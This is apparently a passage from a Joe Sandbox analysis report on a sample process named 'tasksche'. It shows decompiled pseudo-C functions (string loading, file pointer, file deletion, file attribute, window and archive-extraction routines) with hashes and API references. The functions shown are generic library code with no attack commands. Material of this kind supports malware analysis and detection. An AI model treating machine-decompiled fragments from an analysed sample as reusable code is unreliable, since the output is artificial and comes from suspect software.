Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction ID: 02e03e75e993c9a8a945b97f90e28c3a97864ede8bf9f3e31abc9cd0b64ad5c5
Opcode Fuzzy Hash: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction Fuzzy Hash: 540145B2706204BFE7209B788D458AB36ADCB84334B14423FB192E33C1EA749D00527D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3BF Relevance: 3.0, APIs: 2, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040C3BF(int _a4) {
				signed int _t3;
				signed int _t4;
				int _t12;
				WCHAR* _t22;

				_t3 =  *0x4355d8; // 0x7
				_t4 = _t3 + 1;
				 *0x4355d8 = _t4;
				if(_t4 >= 8) {
					_t4 = 0;
					 *0x4355d8 = 0;
				}
				_t22 = (_t4 << 0xa) + 0x4335d8;
				 *_t22 = 0;
				if(E0040BB81(0x4335bc) != 0) {
					L4:
					LoadStringW( *0x4335a4, _a4, _t22, 0x200);
				} else {
					_t12 = LoadStringW( *0x4335a8, _a4, _t22, 0x200); // executed
					if(_t12 == 0) {
						goto L4;
					}
				}
				E0040BF1D(0x4335bc, _t22, _t22, 0x200, 0, 0);
				return _t22;
			}

0x0040c3bf
0x0040c3c4
0x0040c3c5
0x0040c3cd
0x0040c3cf
0x0040c3d1
0x0040c3d1
0x0040c3e1
0x0040c3ed
0x0040c402
0x0040c416
0x0040c422
0x0040c404
0x0040c410
0x0040c414
0x00000000
0x00000000
0x0040c414
0x0040c42d
0x0040c438

APIs

LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C410
LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C422

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction ID: edfc175873420c56a2918f30daf07abd917a54f8fc7c105ac48efc03a3cacc81
Opcode Fuzzy Hash: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction Fuzzy Hash: 200186722012107FD6209F19AC85F577BEDEB99351F10543AB900D32A1D6359C01876C

Uniqueness

Uniqueness Score: -1.00%

Function 00408F4B Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00408F4B(intOrPtr* __ecx, long _a4, long _a8, signed int _a12) {
				long _v8;
				void* __ebp;
				void* _t16;
				long _t20;
				void* _t22;
				void* _t25;
				long _t27;
				intOrPtr* _t30;
				long _t33;

				_t24 = __ecx;
				_push(__ecx);
				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L12:
					_t16 = 1;
				} else {
					_t27 = _a8;
					_t33 = _t27;
					if(_t33 <= 0 && (_t33 < 0 || _a4 < 0) && _a12 != 0) {
						if(_a12 != 1) {
							_t22 = E00408E03(_t24, _t25);
						} else {
							_t22 =  *((intOrPtr*)( *_t30 + 0x10))();
						}
						_a4 = _a4 + _t22;
						asm("adc edi, edx");
						_a12 = _a12 & 0x00000000;
					}
					_v8 = _t27;
					_t20 = SetFilePointer( *(_t30 + 4), _a4,  &_v8, _a12); // executed
					if(_t20 != 0xffffffff || GetLastError() == 0) {
						goto L12;
					} else {
						_t16 = 0;
					}
				}
				return _t16;
			}

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000000,?,?,?,?,00408FD1,00000000,00000000,00000000,?,00407DE2,?,?), ref: 00408F9E
GetLastError.KERNEL32(00408FD1,00000000,00000000,00000000,?,00407DE2,?,?,?,?,?,?,?,?), ref: 00408FAA

Part of subcall function 00408E03: __EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction ID: 31f7e80921147255a447777291f97898e209bd40052f61b908ef1a5d0e3b9beb
Opcode Fuzzy Hash: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction Fuzzy Hash: 1E019631200306DBCF248F64CD046AE776ABF813A5F14463EF8A1A22D0DB78D951DA55

Uniqueness

Uniqueness Score: -1.00%

Function 0041A89A Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041A89A(void* __ebx, void* __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v0;
				char _v16;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t39;
				signed int _t40;
				signed int _t46;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t62;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t79;

				_t75 = __edi;
				_t74 = __edx;
				_t62 = __ebx;
				while(1) {
					_t39 = E0041CF3E(_t62, _t74, _t75, _a4); // executed
					if(_t39 != 0) {
						break;
					}
					_t40 = E0041FC9B(_a4);
					__eflags = _t40;
					if(_t40 == 0) {
						__eflags =  *0x44f810 & 0x00000001;
						if(( *0x44f810 & 0x00000001) == 0) {
							 *0x44f810 =  *0x44f810 | 0x00000001;
							__eflags =  *0x44f810;
							E0041216A(0x44f804);
							E0041C9CF( *0x44f810, 0x4299d0);
						}
						E004125FA( &_v16, 0x44f804);
						E0041C77F( &_v16, 0x42d504);
						asm("int3");
						_push(_t62);
						__eflags = _v0;
						if(__eflags != 0) {
							_push(0x44f804);
							_t79 = _a4;
							_push(_t75);
							_t76 = _a8;
							__eflags = _t76;
							if(_t76 == 0) {
								L12:
								_v28 = 0x42;
								_v32 = _t79;
								_v40 = _t79;
								__eflags = _t76 - 0x3fffffff;
								if(_t76 <= 0x3fffffff) {
									_v36 = _t76 + _t76;
								} else {
									_v36 = 0x7fffffff;
								}
								_t46 = _v0( &_v40, _a12, _a16, _a20);
								_a12 = _t46;
								__eflags = _t79;
								if(_t79 != 0) {
									__eflags = _t46;
									if(_t46 < 0) {
										L24:
										__eflags = _v36;
										 *((short*)(_t79 + _t76 * 2 - 2)) = 0;
										_t46 = 0 | _v36 >= 0x00000000;
										__eflags = _t46;
									} else {
										_t22 =  &_v36;
										 *_t22 = _v36 - 1;
										__eflags =  *_t22;
										if( *_t22 < 0) {
											_t51 = E0041FE68(_t74, _t76, 0,  &_v40);
											__eflags = _t51 - 0xffffffff;
											if(_t51 == 0xffffffff) {
												goto L24;
											} else {
												goto L20;
											}
										} else {
											 *_v40 = 0;
											_v40 = _v40 + 1;
											L20:
											_t28 =  &_v36;
											 *_t28 = _v36 - 1;
											__eflags =  *_t28;
											if( *_t28 < 0) {
												_t53 = E0041FE68(_t74, _t76, 0,  &_v40);
												__eflags = _t53 - 0xffffffff;
												if(_t53 == 0xffffffff) {
													goto L24;
												} else {
													goto L23;
												}
											} else {
												 *_v40 = 0;
												L23:
												_t46 = _a12;
											}
										}
									}
								}
							} else {
								__eflags = _t79;
								if(__eflags != 0) {
									goto L12;
								} else {
									_t56 = E0041EDAE(__eflags);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									 *_t56 = 0x16;
									_t46 = E00420103(_t74, _t76, _t79) | 0xffffffff;
								}
							}
						} else {
							_t58 = E0041EDAE(__eflags);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							 *_t58 = 0x16;
							_t46 = E00420103(_t74, _t75, 0x44f804) | 0xffffffff;
						}
						return _t46;
					} else {
						continue;
					}
					L27:
				}
				return _t39;
				goto L27;
			}

APIs

_malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

__CxxThrowException@8.LIBCMT ref: 0041A8F9

Part of subcall function 0041216A: std::exception::exception.LIBCMT ref: 00412174

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction ID: 42064790ed8d2a037bfba99cbedd4ff18ff19c5b52db1d8e26b3e688ef0b8114
Opcode Fuzzy Hash: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction Fuzzy Hash: 64F0E23160021972CB047B22ED46ACE37586F01728B10403BFC1199192DFAC9ADA919E

Uniqueness

Uniqueness Score: -1.00%

Function 004090E4 Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090E4(WCHAR* _a4) {
				short _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;

				E0041AAF0(0x1000);
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t18 == 0 && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t18 = _t18 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x004090ec
0x004090fc
0x00409100
0x00409105
0x0040912a
0x0040912a
0x00409132

APIs

DeleteFileW.KERNELBASE(?,?,-00000011,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000,?), ref: 004090FC
DeleteFileW.KERNEL32(?,?,?,00000800,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000), ref: 00409126

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction ID: c332a15ca0b0e5e82477794df9822c7aeed54c7470201c7e9f38434531037f1b
Opcode Fuzzy Hash: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction Fuzzy Hash: DBE02B3114122AA7EB00A620DC01FDA3B5C9F043C0F0440737C80E71D1DB75DCE0D9A4

Uniqueness

Uniqueness Score: -1.00%

Function 00409041 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409041(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t12;
				long _t13;

				E0041AAF0(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t12 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t12;
				}
				return _t13;
			}

0x00409049
0x00409059
0x0040905b
0x00409060
0x00409081
0x00409083
0x00409083
0x0040908a

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409059
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409081

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction ID: f0aa2148c7acefeba2e85b7bc3a11c2245577506fd5686bf0be3bfe97b3e7ecd
Opcode Fuzzy Hash: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction Fuzzy Hash: BBE092326101186ACB10A669DC00BDE379D9BC83E5F0401B3BE44E32D5DAB4DD95CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDFF Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040DE2D
SetDlgItemTextW.USER32 ref: 0040DE44

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction ID: 335ddef7e6713e4d0d4f603cdcadd61df7388e1f4a4116fbf7552c9c9eb2c210
Opcode Fuzzy Hash: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction Fuzzy Hash: 02F0EC75A0420866E711B7A1CC07F9B36589B09789F04047FB601760F3D9795564479A

Uniqueness

Uniqueness Score: -1.00%

Function 00410EDB Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410EDB(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t11;
				signed int _t14;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					L6:
					return 1;
				}
				_t11 = 0;
				_t14 = 1;
				do {
					if((_v8 & _t14) != 0) {
						_t11 = _t11 + 1;
					}
					_t14 = _t14 + _t14;
				} while (_t14 != 0);
				if(_t11 < 1) {
					goto L6;
				}
				return _t11;
			}

0x00410eef
0x00410ef7
0x00410f0d
0x00000000
0x00410f0f
0x00410efb
0x00410efd
0x00410efe
0x00410f01
0x00410f03
0x00410f03
0x00410f04
0x00410f04
0x00410f0b
0x00000000
0x00000000
0x00410f11

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,00410F17,00409FF4), ref: 00410EE8
GetProcessAffinityMask.KERNEL32 ref: 00410EEF

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction ID: ae3045e16ef29d64dcafac8e7d0c22bbd438388315c71f77e1501110187c073f
Opcode Fuzzy Hash: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction Fuzzy Hash: 86E08672A1020AA78F2897A0CD4A9EF32ACEB01215700087BE503C1640EAF8D5D24629

Uniqueness

Uniqueness Score: -1.00%

Function 004060C9 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004060C9(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x004060d0
0x004060e5
0x004060eb

APIs

GetDlgItem.USER32 ref: 004060DE
ShowWindow.USER32(00000000), ref: 004060E5

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction ID: 00e924dde3bcd55588ca107b376b403c6fb897f844ebcc5e5070703d20151260
Opcode Fuzzy Hash: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction Fuzzy Hash: E7C01232258241FFCB020BB0DC09E2ABBA8ABA5312F10CD68B4A5C1160C23AC024DB22

Uniqueness

Uniqueness Score: -1.00%

Function 00402C8B Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402C8B(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				char _t69;
				signed int _t75;
				intOrPtr _t84;
				signed int _t88;
				intOrPtr _t96;
				signed int _t116;
				void* _t139;
				void* _t147;

				_t134 = __edx;
				E0041A4DC(E00429577, _t147);
				E0041AAF0(0xe6e0);
				_t141 = __ecx;
				if( *((char*)(__ecx + 0xb064)) == 0) {
					__eflags =  *((char*)(__ecx + 0x8942)) - 5;
					if( *((char*)(__ecx + 0x8942)) > 5) {
						L26:
						_t142 = _t141 + 0x1e;
						__eflags = _t141 + 0x1e;
						E00406376(0x1c, _t142);
						goto L27;
					}
					asm("sbb eax, eax");
					__eflags = ( *(__ecx + 0x8941) & 0x000000ff) - ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d);
					if(( *(__ecx + 0x8941) & 0x000000ff) > ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d)) {
						goto L26;
					}
					_t75 =  *(__ecx + 0x9970) |  *(__ecx + 0x9974);
					__eflags = _t75;
					if(_t75 != 0) {
						L7:
						_t139 = _t141 + 0x20e8;
						E0040B758(_t139);
						_push(_t139);
						E0041768A(_t147 - 0xe6ec, _t134, _t139, __eflags); // executed
						_t106 = 0;
						 *(_t147 - 4) = 0;
						E004126F0(_t147 - 0xe6ec,  *((intOrPtr*)(_t141 + 0x9a0c)), 0); // executed
						__eflags =  *(_t147 + 0xc);
						if( *(_t147 + 0xc) != 0) {
							L16:
							__eflags =  *((char*)(_t141 + 0x99b3));
							if( *((char*)(_t141 + 0x99b3)) == 0) {
								L19:
								_t106 = _t141 + 0x9988;
								E00409885(_t141 + 0x59b8,  *(_t141 + 0x9988), 1);
								 *((intOrPtr*)(_t141 + 0x210c)) =  *((intOrPtr*)(_t141 + 0x9974));
								 *((intOrPtr*)(_t141 + 0x2108)) =  *((intOrPtr*)(_t141 + 0x9970));
								 *((char*)(_t141 + 0x2110)) = 0;
								E0040B863(_t139, _t141,  *(_t147 + 0xc));
								 *((char*)(_t141 + 0x42af)) =  *((intOrPtr*)(_t141 + 0x99b1));
								 *(_t139 + 0x3c) =  *(_t139 + 0x3c) & 0x00000000;
								 *((intOrPtr*)(_t139 + 0x38)) = _t141 + 0x8928;
								__eflags =  *((char*)(_t141 + 0x8942));
								_t84 =  *((intOrPtr*)(_t141 + 0x9978));
								_t116 =  *(_t141 + 0x997c);
								 *((intOrPtr*)(_t147 - 0x9aac)) = _t84;
								 *(_t147 - 0x9aa8) = _t116;
								 *((char*)(_t147 - 0x9a94)) = 0;
								if(__eflags != 0) {
									E00418AFF(_t147 - 0xe6ec,  *(_t141 + 0x8941) & 0x000000ff, 0);
								} else {
									_push(_t116);
									_push(_t84);
									_push(_t139); // executed
									E004071DF(_t134, __eflags); // executed
								}
								asm("sbb ecx, ecx");
								_t88 = E00409AE9(_t106, _t141 + 0x59b8, _t134, __eflags, _t106,  ~( *(_t141 + 0x99e2) & 0x000000ff) & _t141 + 0x000099e3);
								__eflags = _t88;
								if(_t88 != 0) {
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139); // executed
									L6:
									_t69 = 1;
									goto L28;
								} else {
									E0040639F(0x1d, _t141 + 0x1e, _t141 + 0x8948);
									E004062BA(0x4335ac, 3);
									_t124 =  *(_t147 + 8);
									__eflags =  *(_t147 + 8);
									if( *(_t147 + 8) != 0) {
										E00401B67(_t124);
									}
									L12:
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139);
									goto L27;
								}
							}
							_t96 =  *((intOrPtr*)(_t141 + 0x6524));
							__eflags =  *((char*)(_t96 + 0x4124));
							if( *((char*)(_t96 + 0x4124)) == 0) {
								goto L12;
							}
							asm("sbb edx, edx");
							_t134 =  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9;
							_t97 = _t96 + 0x4024;
							__eflags = _t96 + 0x4024;
							E0040B883(_t139, 0,  *((intOrPtr*)(_t141 + 0x99b4)), _t97,  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9, _t141 + 0x99c9,  *((intOrPtr*)(_t141 + 0x9a04)), _t141 + 0x99e3, _t141 + 0x99da);
							goto L19;
						}
						__eflags =  *(_t141 + 0x997c);
						if(__eflags < 0) {
							L13:
							_t106 =  *(_t147 + 8);
							__eflags = _t106;
							if(_t106 != 0) {
								E00401C1D(_t106,  *((intOrPtr*)(_t141 + 0x9978)));
								E0040B8CE(_t139,  *_t106,  *((intOrPtr*)(_t141 + 0x9978)));
							} else {
								 *((char*)(_t141 + 0x2111)) = 1;
							}
							goto L16;
						}
						if(__eflags > 0) {
							L11:
							_t145 = _t141 + 0x1e;
							__eflags = _t141 + 0x1e;
							E00406376(0x1c, _t145);
							goto L12;
						}
						__eflags =  *((intOrPtr*)(_t141 + 0x9978)) - 0x1000000;
						if( *((intOrPtr*)(_t141 + 0x9978)) <= 0x1000000) {
							goto L13;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x99b1)) - _t75;
					if( *((intOrPtr*)(__ecx + 0x99b1)) != _t75) {
						goto L7;
					}
					goto L6;
				} else {
					E00406376(0x1b, __ecx + 0x1e);
					E004062BA(0x4335ac, 3);
					L27:
					_t69 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
					return _t69;
				}
			}

APIs

__EH_prolog.LIBCMT ref: 00402C90

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction ID: d2613427887af626ac15b725df06f6c4975e9b849f4698f9cbfae21a5c634ed1
Opcode Fuzzy Hash: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction Fuzzy Hash: 8E615870505B40AADB34DB39C999BEBB7E4AF51304F00456FF4AB622C2CBBC2944DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040935F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040935F(void* __ebx, void* __ecx, void* __edi, signed int _a4, char _a8) {
				signed int _v8;
				char _v4104;
				signed int _t21;
				void* _t25;
				signed int _t26;
				signed int _t34;
				void* _t36;
				signed int _t40;
				signed short* _t45;
				signed short* _t48;
				void* _t49;
				void* _t50;

				E0041AAF0(0x1004);
				_t48 = _a4;
				if(_t48 == 0 ||  *_t48 == 0) {
					__eflags = 0;
					return 0;
				} else {
					_a4 = _a4 & 0x00000000;
					_t36 = 1;
					_t45 = _t48;
					while(1) {
						_t21 = _a4 >> 1;
						_v8 = _t21;
						if(_t21 >= 0x800) {
							break;
						}
						if(E0040A0C5( *_t45 & 0x0000ffff) == 0 || _t45 <= _t48) {
							L9:
							_a4 = _a4 + 2;
							_t45 =  &(_t45[1]);
							if( *_t45 != 0) {
								continue;
							}
							break;
						} else {
							if(_t45 !=  &(_t48[2])) {
								L8:
								_t40 = _v8;
								E0041C853( &_v4104, _t48, _t40);
								_t50 = _t50 + 0xc;
								 *((short*)(_t49 + _t40 * 2 - 0x1004)) = 0;
								_t34 = E004092C9(_t58,  &_v4104, 1, 0);
								asm("sbb bl, bl");
								_t36 =  ~_t34 + 1;
								goto L9;
							}
							_t58 = _t48[1] - 0x3a;
							if(_t48[1] == 0x3a) {
								goto L9;
							}
							goto L8;
						}
					}
					_t61 = _a8;
					if(_a8 == 0) {
						_t25 = E0040A0C5( *(E0040A08A(_t61, _t48)) & 0x0000ffff);
						_t62 = _t25;
						if(_t25 == 0) {
							_t26 = E004092C9(_t62, _t48, 1, 0); // executed
							asm("sbb bl, bl");
							_t36 =  ~_t26 + 1;
						}
					}
					return _t36;
				}
			}

APIs

_wcsncpy.LIBCMT ref: 004093C6

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

